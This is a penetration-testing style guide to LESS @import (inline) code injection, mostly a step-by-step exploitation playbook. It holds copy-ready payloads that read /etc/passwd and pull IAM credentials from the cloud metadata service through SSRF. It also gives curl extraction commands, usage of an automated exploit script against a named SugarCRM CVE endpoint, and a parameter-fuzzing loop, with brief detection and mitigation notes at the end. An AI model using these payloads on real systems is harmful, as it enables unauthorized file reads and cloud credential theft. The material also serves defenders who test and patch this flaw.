LESS Code Injection Exploitation
Overview
LESS is a CSS pre-processor that supports the @import directive. When the (inline) option is used, the LESS engine fetches and embeds the referenced resource's contents into the compiled CSS. If user-controlled input is concatenated into a string parsed by the LESS compiler, attackers can inject arbitrary LESS code to:
- Read local files via
file://protocol (Local File Inclusion) - Perform SSRF to access internal networks or cloud metadata services
Vulnerability Pattern
User Input → String Concatenation → LESS Compiler → @import (inline) → Arbitrary Resource Fetch
Exploitation Workflow
Step 1: Identify the Injection Point
Look for parameters that are embedded into stylesheet strings processed by LESS:
- URL parameters like
?lm=,?css=,?style= - POST body fields containing CSS or style references
- Endpoints with paths like
/css/preview,/style/generate,/theme/customize
Common indicators:
- Response contains compiled CSS
- Parameter name suggests "last modified" or "cache busting" (e.g.,
lm,cache,v) - Application has custom theming or CSS preview functionality
Step 2: Craft the Injection Payload
The basic injection pattern:
; @import (inline) '<RESOURCE_URL>'; @import (inline) 'data:text/plain,@@END@@'; //
Components:
;- Terminates the previous CSS declaration}- Closes any open block (if needed)@import (inline) '<URL>'- Fetches and inlines the resourcedata:text/plain,@@END@@- Marker to easily extract the fetched content//- Comment to close the injection
Step 3: Execute the Attack
Local File Read
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
The file contents appear in the HTTP response before the @@END@@ marker.
SSRF - Cloud Metadata
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
SSRF - Internal Network Discovery
1; @import (inline) "http://169.254.169.254/latest/meta-data/";
@import (inline) 'data:text/plain,@@END@@'; //
SSRF - Internal Service Enumeration
1; @import (inline) "http://localhost:8080/admin";
@import (inline) 'data:text/plain,@@END@@'; //
Step 4: Extract the Response
Parse the HTTP response to find content between the marker and the end of the inlined section:
# Extract content after @@END@@ marker
curl -s "<URL>?<PARAM>=<PAYLOAD>" | sed -n 's/.*@@END@@\(.*\)/\1/p'
# Or use grep with context
curl -s "<URL>?<PARAM>=<PAYLOAD>" | grep -A 100 '@@END@@'
Automated Exploitation
Use the exploit-less-injection.sh script for automated testing:
./exploit-less-injection.sh <TARGET_URL> <RESOURCE_PATH>
Examples:
# Read local file
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "/etc/passwd"
# SSRF cloud metadata
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://169.254.169.254/latest/meta-data/"
# Test internal service
./exploit-less-injection.sh "http://target/sugarcrm/rest/v10/css/preview?baseUrl=1&lm=" "http://localhost:6379"
Real-World Cases
| Product | Vulnerable Endpoint | CVE | Impact |
|---|---|---|---|
| SugarCRM ≤ 14.0.0 | /rest/v10/css/preview?lm= |
CVE-2024-58258 | Unauthenticated SSRF & local file read |
Detection Techniques
Manual Testing
Fuzz the parameter with LESS syntax:
?lm=1; @import (inline) 'data:text/plain,TEST';If
TESTappears in the response, the injection is possible.Check for error messages from the LESS compiler when injecting malformed syntax.
Look for compiled CSS in responses that includes your test marker.
Automated Detection
# Quick test for LESS injection
for param in lm css style cache v; do
curl -s "http://target/endpoint?${param}=1;@import(inline)'data:text/plain,INJECTED';" | grep -q INJECTED && echo "VULNERABLE: $param"
done
Mitigation Recommendations
- Never concatenate user input into LESS strings
- Use parameterized LESS compilation with strict input validation
- Disable
@import (inline)if not required - Implement allowlists for import paths
- Run LESS compilation in a sandbox with network restrictions